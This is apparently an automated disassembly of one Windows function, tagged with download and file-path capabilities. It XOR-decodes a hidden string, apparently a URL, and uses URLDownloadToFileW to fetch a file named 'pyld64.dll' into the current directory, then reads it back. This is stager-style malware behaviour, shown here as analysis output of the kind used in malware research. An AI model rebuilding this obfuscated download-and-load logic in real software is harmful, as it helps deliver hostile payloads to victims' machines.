Function at 0x140016d80
Capabilities:
Download url
Get common file path
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x430
mov rax, qword [0x140068080]
xor rax, rsp
mov qword [rsp + 0x420], rax
xor edi, edi
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x210]
call fcn.140033b50
lea rdx, [rsp + 0x210]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
lea rax, [rsp + 0x210]
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp word [rax + r8*2], di
jne 0x140016df1
lea rdx, [rsp + 0x210]
lea rcx, [rsp + 0x30]
call fcn.14000bf70
nop
lea rax, str.pyld64.dll
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 0xd
lea rax, [rsp + 0x30]
cmp qword [rsp + 0x48], 7
cmova rax, qword [rsp + 0x30]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x58], rax
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rsp + 0x88], xmm0
movabs rax, 0xc000000000000000
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x50], 1
lea rax, [rsp + 0x80]
mov qword [rsp + 0x58], rax
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
movaps xmm1, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm1
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0xc8]
call fcn.14000d2d0
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 7
jbe 0x140016ee8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140016ee3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400176eb
call fcn.14001aae0
movdqa xmm0, xmmword [0x140060d90]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], di
xor byte [0x140068d40], 0xee
xor byte [0x140068d41], 0xb4
xor byte [0x140068d42], 0xb0
xor byte [0x140068d43], 0xef
xor byte [0x140068d44], 0xfd
xor byte [0x140068d45], 0xae
xor byte [0x140068d46], 0xad
xor byte [0x140068d47], 0xed
xor byte [0x140068d48], 0xcc
xor byte [0x140068d49], 0xca
xor byte [0x140068d4a], 0xc7
xor byte [0x140068d4b], 0xea
xor byte [0x140068d4c], 0xde
xor byte [0x140068d4d], 0xf0
xor byte [0x140068d4e], 0x78
xor byte [0x140068d4f], 0xf1
xor byte [0x140068d50], 0xee
xor byte [0x140068d51], 0xb4
xor byte [0x140068d52], 0xb0
xor byte [0x140068d53], 0xef
xor byte [0x140068d54], 0xfd
xor byte [0x140068d55], 0xae
xor byte [0x140068d56], 0xad
xor byte [0x140068d57], 0xed
xor byte [0x140068d58], 0xcc
xor byte [0x140068d59], 0xca
xor byte [0x140068d5a], 0xc7
xor byte [0x140068d5b], 0xea
xor byte [0x140068d5c], 0xde
xor byte [0x140068d5d], 0xf0
xor byte [0x140068d5e], 0x78
xor byte [0x140068d5f], 0xf1
xor byte [0x140068d60], 0xee
xor byte [0x140068d61], 0xb4
xor byte [0x140068d62], 0xb0
xor byte [0x140068d63], 0xef
xor byte [0x140068d64], 0xfd
xor byte [0x140068d65], 0xae
xor byte [0x140068d66], 0xad
xor byte [0x140068d67], 0xed
xor byte [0x140068d68], 0xcc
xor byte [0x140068d69], 0xca
xor byte [0x140068d6a], 0xc7
xor byte [0x140068d6b], 0xea
xor byte [0x140068d6c], 0xde
xor byte [0x140068d6d], 0xf0
xor byte [0x140068d6e], 0x78
xor byte [0x140068d6f], 0xf1
xor byte [0x140068d70], 0xee
xor byte [0x140068d71], 0xb4
xor byte [0x140068d72], 0xb0
xor byte [0x140068d73], 0xef
xor byte [0x140068d74], 0xfd
xor byte [0x140068d75], 0xae
xor byte [0x140068d76], 0xad
xor byte [0x140068d77], 0xed
xor byte [0x140068d78], 0xcc
xor byte [0x140068d79], 0xca
xor byte [0x140068d7a], 0xc7
xor byte [0x140068d7b], 0xea
xor byte [0x140068d7c], 0xde
xor byte [0x140068d7d], 0xf0
xor byte [0x140068d7e], 0x78
xor byte [0x140068d7f], 0xf1
xor byte [0x140068d80], 0xee
xor byte [0x140068d81], 0xb4
xor byte [0x140068d82], 0xb0
xor byte [0x140068d83], 0xef
xor byte [0x140068d84], 0xfd
xor byte [0x140068d85], 0xae
xor byte [0x140068d86], 0xad
xor byte [0x140068d87], 0xed
xor byte [0x140068d88], 0xcc
xor byte [0x140068d89], 0xca
xorps xmm0, xmm0
movups xmmword [rsp + 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x90], xmm1
lea rdx, [0x140068d40]
nop
inc rbx
cmp byte [rdx + rbx], 0
jne 0x140017120
mov r8, rbx
lea rcx, [rsp + 0x80]
call fcn.14000c1f0
nop
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x60]
call fcn.1400163c0
lea r8, [rsp + 0xc8]
cmp qword [rsp + 0xe0], 7
cmova r8, qword [rsp + 0xc8]
cmp qword [rax + 0x18], 7
jbe 0x140017170
mov rax, qword [rax]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov ebx, eax
shr ebx, 0x1f
xor bl, 1
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x1400171cd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400171c8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400176f1
call fcn.14001aae0
movdqa xmm0, xmmword [0x140060d90]
movdqu xmmword [rsp + 0x70], xmm0
mov word [rsp + 0x60], di
mov rdx, qword [rsp + 0x98]
cmp rdx, 0xf
jbe 0x140017223
inc rdx
mov rcx, qword [rsp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001721e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400176f7
call fcn.14001aae0
test bl, bl
je 0x1400173e4
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x100]
call fcn.140033b50
lea rdx, [rsp + 0xc8]
cmp qword [rsp + 0xe0], 7
cmova rdx, qword [rsp + 0xc8]
lea rcx, [rsp + 0x100]
call fcn.140017ff0
mov rax, qword [rsp + 0x100]
movsxd rcx, dword [rax + 4]
lea rsi, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x100], rsi
mov rax, qword [rsp + 0x100]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0xfc], edx
cmp qword [rsp + 0x190], 0
jne 0x140017337
mov rax, qword [rsp + 0x100]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x100], rsi
mov rax, qword [rsp + 0x100]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0xfc], edx
lea rcx, [rsp + 0x110]
call fcn.140008780
mov rax, qword [rsp + 0x100]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x100], rax
mov rax, qword [rsp + 0x100]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0xfc], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x1b0], rax
lea rcx, [rsp + 0x1b0]
call fcn.14001a0c8
nop
jmp 0x1400173e4
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x100]
call fcn.140017ac0
mov rbx, qword [rax + 8]
add rbx, qword [rax]
test rbx, rbx
jg 0x140017433
mov rax, qword [rsp + 0x100]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x100], rsi
mov rax, qword [rsp + 0x100]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0xfc], edx
lea rcx, [rsp + 0x110]
call fcn.140008780
mov rax, qword [rsp + 0x100]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x100], rax
mov rax, qword [rsp + 0x100]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0xfc], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x1b0], rax
lea rcx, [rsp + 0x1b0]
call fcn.14001a0c8
nop
mov rdx, qword [rsp + 0xe0]
cmp rdx, 7
jbe 0x14001742c
mov rcx, qword [rsp + 0xc8]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017427
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140017772
call fcn.14001aae0
xor al, al
jmp 0x1400176c6
lea rcx, [rsp + 0x100]
call fcn.140017ba0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0xe8], xmm1
mov qword [rsp + 0xf8], rdi
mov rdx, rbx
lea rcx, [rsp + 0xe8]
call fcn.140018520
mov r8, rbx
mov rdx, qword [rsp + 0xe8]
lea rcx, [rsp + 0x100]
call fcn.140017d90
lea rcx, [rsp + 0x110]
call fcn.140009360
test rax, rax
jne 0x1400174d0
mov rax, qword [rsp + 0x100]
movsxd rcx, dword [rax + 4]
mov eax, 6
mov edx, 2
cmp qword [rsp + rcx + 0x148], 0
cmovne eax, edx
or eax, dword [rsp + rcx + 0x110]
and eax, 0x17
mov dword [rsp + rcx + 0x110], eax
mov edx, dword [rsp + rcx + 0x114]
and edx, eax
jne 0x1400176fd
lea rdx, [rsp + 0xc8]
cmp qword [rsp + 0xe0], 7
cmova rdx, qword [rsp + 0xc8]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rdi
mov r8, qword [rsp + 0xd8]
lea rcx, [rsp + 0x30]
call fcn.14000bf70
nop
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 7
cmova rcx, qword [rsp + 0x30]
call fcn.14001928c
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x140017757
mov rdx, qword [rsp + 0x48]
cmp rdx, 7
jbe 0x140017577
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017571
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140017766
call fcn.14001aae0
nop
jmp 0x140017582
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [rsp + 0xe8]
sub rdx, rcx
call fcn.140005eb0
movzx ebx, al
mov rcx, qword [rsp + 0xe8]
test rcx, rcx
je 0x1400175f3
mov rdx, qword [rsp + 0xf8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400175da
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001776c
call fcn.14001aae0
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xe8], xmm0
mov qword [rsp + 0xf8], rdi
mov rax, qword [rsp + 0x100]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x100], rsi
mov rax, qword [rsp + 0x100]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0xfc], edx
lea rcx, [rsp + 0x110]
call fcn.140008780
mov rax, qword [rsp + 0x100]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x100], rax
mov rax, qword [rsp + 0x100]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0xfc], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x1b0], rax
lea rcx, [rsp + 0x1b0]
call fcn.14001a0c8
nop
mov rdx, qword [rsp + 0xe0]
cmp rdx, 7
jbe 0x1400176c3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400176be
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140017772
call fcn.14001aae0
movzx eax, bl
mov rcx, qword [rsp + 0x420]
xor rcx, rsp
call fcn.14001aac0
lea r11, [rsp + 0x430]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
call fcn.140022428
nop
call fcn.140022428
nop
call fcn.140022428
nop
test dl, 4
je 0x14001770b
lea rbx, str.ios_base::badbit_set
jmp 0x140017720
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x60]
call fcn.140001370
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0xa0]
call fcn.1400020e0
lea rdx, [0x140066c18]
lea rcx, [rsp + 0xa0]
call fcn.14001c9e0
nop
shr rdx, 0x20
lea r8, [rsp + 0x30]
call fcn.140016350
nop
call fcn.140022428
nop
call fcn.140022428
nop
call fcn.140022428
int3